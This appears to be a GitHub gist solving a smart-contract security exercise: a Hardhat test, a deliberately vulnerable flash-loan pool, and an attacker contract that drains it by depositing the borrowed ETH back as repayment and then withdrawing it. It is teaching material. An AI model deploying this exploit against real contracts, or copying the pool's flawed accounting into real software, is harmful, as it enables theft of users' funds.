Skip to content

Instantly share code, notes, and snippets.

@saeta-eth
Last active October 31, 2021 01:34
Show Gist options
  • Save saeta-eth/5347a437683dc1511ba989cc2d4ce186 to your computer and use it in GitHub Desktop.
Save saeta-eth/5347a437683dc1511ba989cc2d4ce186 to your computer and use it in GitHub Desktop.
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Ejercicio 6", function () {
let deployer, atacante;
beforeEach(async function () {
[deployer, atacante] = await ethers.getSigners();
// Se deploya el contrato
const FlashLoanPool = await ethers.getContractFactory("FlashLoanPool", deployer);
this.pool = await FlashLoanPool.deploy();
// Se depositan 100 ETH en el contrato
await this.pool.deposit({ value: ethers.utils.parseEther('100') });
expect(
await this.pool.balances(deployer.address)
).to.eq(ethers.utils.parseEther('100'));
expect(
await ethers.provider.getBalance(this.pool.address)
).to.eq(ethers.utils.parseEther('100'));
});
it("Ataque", async function () {
const FlashLoanPool = await ethers.getContractFactory("FlashLoanAttacker", atacante);
this.attacker = await FlashLoanPool.deploy(this.pool.address);
await this.attacker.attack();
expect(
await ethers.provider.getBalance(this.attacker.address)
).to.eq(ethers.utils.parseEther('100'));
});
afterEach(async function() {
console.log('balance', (await ethers.provider.getBalance(this.pool.address)).toString())
expect(
await ethers.provider.getBalance(this.pool.address)
).to.eq('0');
});
});
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
interface IFlashLoanPool {
function flashLoan(uint256 amount) external;
function deposit() external payable;
function withdraw() external;
}
contract FlashLoanAttacker is Ownable {
using Address for address payable;
IFlashLoanPool private immutable pool;
constructor(address poolAddress) {
pool = IFlashLoanPool(poolAddress);
}
function attack() external payable onlyOwner {
pool.flashLoan(address(pool).balance);
pool.withdraw();
}
function execute() external payable {
IFlashLoanPool(msg.sender).deposit{value: msg.value}();
}
receive () external payable {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
interface IFlashLoanEtherReceiver {
function execute() external payable;
}
contract FlashLoanPool {
using Address for address payable;
mapping (address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amountToWithdraw = balances[msg.sender];
balances[msg.sender] = 0;
payable(msg.sender).sendValue(amountToWithdraw);
}
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= amount, "Not enough ETH in balance");
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");
}
}
@saeta-eth
Copy link
Author

Solved.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment